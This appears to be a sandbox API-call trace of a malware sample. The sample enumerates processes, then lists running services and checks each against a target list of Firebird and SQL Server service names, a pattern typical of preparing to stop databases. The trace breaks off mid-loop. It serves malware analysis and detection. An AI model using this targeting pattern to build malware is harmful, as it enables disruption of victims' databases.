	[0068.589] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.589] lstrlenW (lpString="conhost.exe") returned 11
	[0068.590] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.590] lstrlenW (lpString="conhost.exe") returned 11
	[0068.590] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.591] lstrlenW (lpString="svchost.exe") returned 11
	[0068.591] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0068.591] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0068.591] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.592] lstrlenW (lpString="svchost.exe") returned 11
	[0068.592] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0068.593] lstrlenW (lpString="cmd.exe") returned 7
	[0068.593] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0068.593] lstrlenW (lpString="conhost.exe") returned 11
	[0068.593] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0068.594] CloseHandle (hObject=0x2a0) returned 1
	[0068.594] Sleep (dwMilliseconds=0x1f4) 
	[0069.162] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ebf8
	[0069.162] EnumServicesStatusExW (in: hSCManager=0x53ebf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0069.163] GetLastError () returned 0xea
	[0069.163] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x3121968
	[0069.163] EnumServicesStatusExW (in: hSCManager=0x53ebf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3121968, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3121968, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0069.164] CloseServiceHandle (hSCObject=0x53ebf8) returned 1
	[0069.164] lstrlenW (lpString="Appinfo") returned 7
	[0069.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0069.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0069.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0069.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0069.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0069.164] lstrlenW (lpString="AppXSvc") returned 7
	[0069.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0069.164] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0069.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0069.165] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0069.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0069.165] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0069.165] lstrlenW (lpString="Audiosrv") returned 8
	[0069.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0069.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0069.165] lstrlenW (lpString="BFE") returned 3
	[0069.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0069.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0069.165] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0069.165] lstrlenW (lpString="BITS") returned 4
	[0069.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0069.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0069.165] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0069.165] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0069.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0069.165] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0069.166] lstrlenW (lpString="CDPSvc") returned 6
	[0069.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0069.166] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0069.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0069.166] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0069.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0069.166] lstrlenW (lpString="CryptSvc") returned 8
	[0069.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0069.166] lstrlenW (lpString="DcomLaunch") returned 10
	[0069.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0069.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0069.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0069.167] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0069.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0069.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0069.167] lstrlenW (lpString="Dhcp") returned 4
	[0069.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0069.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0069.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0069.167] lstrlenW (lpString="Dnscache") returned 8
	[0069.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0069.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0069.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0069.167] lstrlenW (lpString="DoSvc") returned 5
	[0069.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0069.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0069.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0069.167] lstrlenW (lpString="DPS") returned 3
	[0069.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0069.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0069.167] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0069.167] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0069.168] lstrlenW (lpString="DusmSvc") returned 7
	[0069.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0069.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0069.168] lstrlenW (lpString="EventLog") returned 8
	[0069.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0069.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0069.168] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0069.168] lstrlenW (lpString="EventSystem") returned 11
	[0069.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0069.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0069.168] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0069.168] lstrlenW (lpString="FontCache") returned 9
	[0069.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0069.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0069.168] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0069.168] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0069.168] lstrlenW (lpString="gpsvc") returned 5
	[0069.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0069.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0069.168] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0069.168] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0069.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0069.169] lstrlenW (lpString="iphlpsvc") returned 8
	[0069.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.169] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0069.169] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0069.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0069.169] lstrlenW (lpString="KeyIso") returned 6
	[0069.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0069.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0069.169] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0069.169] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0069.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0069.169] lstrlenW (lpString="LanmanServer") returned 12
	[0069.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0069.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0069.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0069.169] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0069.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0069.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0069.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0069.169] lstrlenW (lpString="lfsvc") returned 5
	[0069.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0069.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0069.169] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0069.169] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0069.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0069.170] lstrlenW (lpString="lmhosts") returned 7
	[0069.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0069.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0069.170] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0069.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0069.170] lstrlenW (lpString="LSM") returned 3
	[0069.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0069.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0069.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0069.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0069.170] lstrlenW (lpString="MapsBroker") returned 10
	[0069.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0069.170] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0069.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0069.170] lstrlenW (lpString="MpsSvc") returned 6
	[0069.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0069.170] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0069.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0069.170] lstrlenW (lpString="NcbService") returned 10
	[0069.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0069.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0069.170] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0069.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0069.170] lstrlenW (lpString="netprofm") returned 8
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0069.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0069.171] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0069.171] lstrlenW (lpString="NlaSvc") returned 6
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0069.171] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0069.171] lstrlenW (lpString="nsi") returned 3
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0069.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0069.171] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0069.171] lstrlenW (lpString="PcaSvc") returned 6
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0069.171] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0069.171] lstrlenW (lpString="PlugPlay") returned 8
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0069.171] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0069.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0069.171] lstrlenW (lpString="Power") returned 5
	[0069.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0069.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0069.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0069.172] lstrlenW (lpString="ProfSvc") returned 7
	[0069.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0069.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0069.172] lstrlenW (lpString="RpcEptMapper") returned 12
	[0069.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0069.172] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0069.172] lstrlenW (lpString="RpcSs") returned 5
	[0069.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0069.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0069.172] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0069.172] lstrlenW (lpString="SamSs") returned 5
	[0069.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0069.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0069.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0069.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0069.172] lstrlenW (lpString="Schedule") returned 8
	[0069.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0069.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0069.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0069.173] lstrlenW (lpString="SecurityHealthService") returned 21
	[0069.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0069.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0069.173] lstrlenW (lpString="SENS") returned 4
	[0069.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0069.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0069.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0069.173] lstrlenW (lpString="ShellHWDetection") returned 16
	[0069.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0069.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
